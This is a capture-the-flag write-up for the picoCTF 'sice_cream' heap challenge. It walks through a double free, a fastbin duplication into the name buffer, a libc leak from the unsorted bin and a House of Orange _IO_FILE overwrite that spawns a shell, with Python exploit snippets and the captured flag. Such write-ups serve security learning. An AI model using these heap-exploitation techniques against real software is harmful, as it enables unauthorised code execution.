PWN – sice_cream

sice_cream - 500 points

Challenge

Just pwn this program and get a flag. Connect with nc 2019shell1.picoctf.com 35993. libc.so.6 ld-2.23.so.

Hints

Make sure to both files are in the same directory as the executable, and set LD_PRELOAD to the path of libc.so.6

Solution

The problem specification contains the nc of a remote server, the binary it's running and the libraries it's loaded with.

Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    RUNPATH:  './'
Limitations:
  • A fair amount of protections are on.
  • As the binary starts, we don't have any sort of leak.
  • Our only read option comes from the name field on the bss segment. We can't read chunk contents directly.
  • We are restricted to a max malloc size of 85, which means only fastbins up to the 0x60 bin are allowed.
  • Max 20 allocations.

Binary analysis indicates that freeing our chunks doesn't null their pointer and this obviously leads to a double free situation.

Our initial strategy then is:

1. Create fake chunk in name string, point to it with fastbin duplication.

We can use the double free to create a fastbin duplication attack that allows us to allocate a block anywhere in memory as long as its size field falls within the bin it's into.
The block we will inject will fall into the bss area containing our name buffer, 0x602040 - 0x602140.
We need to pass the fastbin security checks that will notice if a chunk is of an incorrect size for that bin:

# Setup fastbin duplication
buy_sice(fastbin_size, 'a')
buy_sice(fastbin_size, 'b')

free_sice(0)
free_sice(1)
free_sice(0)

# Allocate a again. write into the first 8 bytes(freed chunk's fd pointer) the address of our chunk to inject.
buy_sice(fastbin_size, p64(name_buffer + fake_chunk_offset))
# We'll write the header later. Let's inject it into the next malloc.
buy_sice(fastbin_size, '') #buy back b.

rename(p64(0) + p64(0x61) + p64(0) + p64(0)) #Create fake chunk header.
buy_sice(fastbin_size, '') # buy double freed a. 'freed'->fd block is set into fastbin.
buy_sice(fastbin_size, '') # Receive injected block #5.
2. Leak a libc offset from a free() operation.

Block #5 is now in a region where we have arbitrary read and write.
All heap overflow techniques are applicable.
This is the best point to leak libc. But how?
Some types of free() can leave a reference to arena_top or close libc areas into one of the pointers.
More specifically, blocks that are too large to fall into the fastbins (>= 0x90) will instead be stored into the unsorted bin until the next malloc.
We can change the chunk size with the rename option:

buf_test = p64(0) + p64(0xc1) + cyclic(0xb0) + p64(0xc0) + p64(0x21)+p64(heap_leak) * 2
rename(buf_test) #Create fake chunk header.
free_sice(5)

There's a lot of useless data here, the point is to change the chunk size into a smallbin-appropriate size.
Placing the block into the unsorted bin generates a double linked list into the current main_arena.
As long as we have a UAF, We can simply read the resulting pointers and we've found the libc location.

rename_str = rename('a'*16)
leakline = rename_str[rename_str.index('a'*16):].splitlines()[0][16:22]
leakline = leakline.ljust(8, '\x00')
libc_leak = u64(leakline)
libc_base = libc_leak - 3951480
3. Overwrite a location that grants us code execution.

We're still very limited here. We don't have a write-what-where of any kind.
Just as importantly, we don't have a stack leak. But there are more ways to control execution.

A common technique here would be to overwrite the __malloc_hook symbol by using our previous fastbin duplication attack on the 0x70 bin.
(the trick here is that it can be misaligned, and as such we can take the most significant byte of a libc 0x7f... address that's followed by enough null bytes)
But the binary explicitly bars us from allocating anything above the 0x60 chunk size.

Then how are we going to get execution?
Well there's this neat little thing called House of Orange...
It's complicated, and I certanly would explain it worse than what's already online. I would suggest reading these materials:

Code execution/flag retrieval candidates are:

    binary:
        0x400CC4: prints file from pointer. Seems designed to be specifically the win function.
    libc:
        system() (duh.)
        all the stuff one_gadget finds

We can control parameter 1 either way. system('/bin/sh') worked on the first try, so i kept it.

Because of how the attack works, we require that:

  • The chunk in the unsorted bin is of size 0x60
  • Its prev_size field is a valid string to pass as parameter 1 of whatever gadget you give it.
  • Its back pointer is set to (target of the unsorted bin write - 0x10)

With these requisites, the block header becomes:

buf = '/bin/sh\x00' + p64(0x61) + p64(0) + p64(target1) # Its size needs to be set at 0x61 to fall into smallbin[4]
buf = buf.ljust(256, '\x00')

The attack will substitute the structure at _IO_list_all with our own 'table', which is actually just the arena.
We have to pass a few sanity checks, but the end result is the exit procedure will call offset 3 of our fake _IO_FILE jump table.

# Set up necessary fields in file pointer equivalent.
#fp->mode = 0: already set (0xc0)
#fp->_IO_write_base = 2 (0x20)
#fp->_IO_write_ptr = 3 (0x28)
buf = buf[:0x20] + p64(2) + p64(3) + buf[0x30:]
# Jump table in a controlled address. inside the block is fine too. example on how2heap uses same block, 0x60
# Jump table[3] = &gadget (0x78)
buf = buf[:0x78] + p64(gadget) + buf[0x80:]
# *(fp + sizeof(_IO_FILE)) = &jump table (0xd8)
buf = buf[:0xd8] + p64(name_buffer + 0x60) + buf[0xe0:]
#Let's see what happens now.
rename(buf)

To trigger the shell:

  1. request an allocation smaller than 0x58, so that the unsorted chunk will try to be processed.
  2. The unsorted bin write triggered in the process will set _IO_list_all to our arena top.
  3. The unsorted check itself will fail and trigger the abort sequence.
  4. The abort sequence will subsequently make the checks above. This convinces the program that our memory region is a valid _IO_FILE structure.
  5. As the procedure continues, it will call the jump table[3] function where our gadget is waiting.
  6. Win (hopefully). The script can occasionally cause a segmentation fault, possibly because of how the leaks are processed.

flag: flag{th3_r3al_questi0n_is_why_1s_libc_2.23_still_4_th1ng_b0a63afa}

Lascia un commento

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *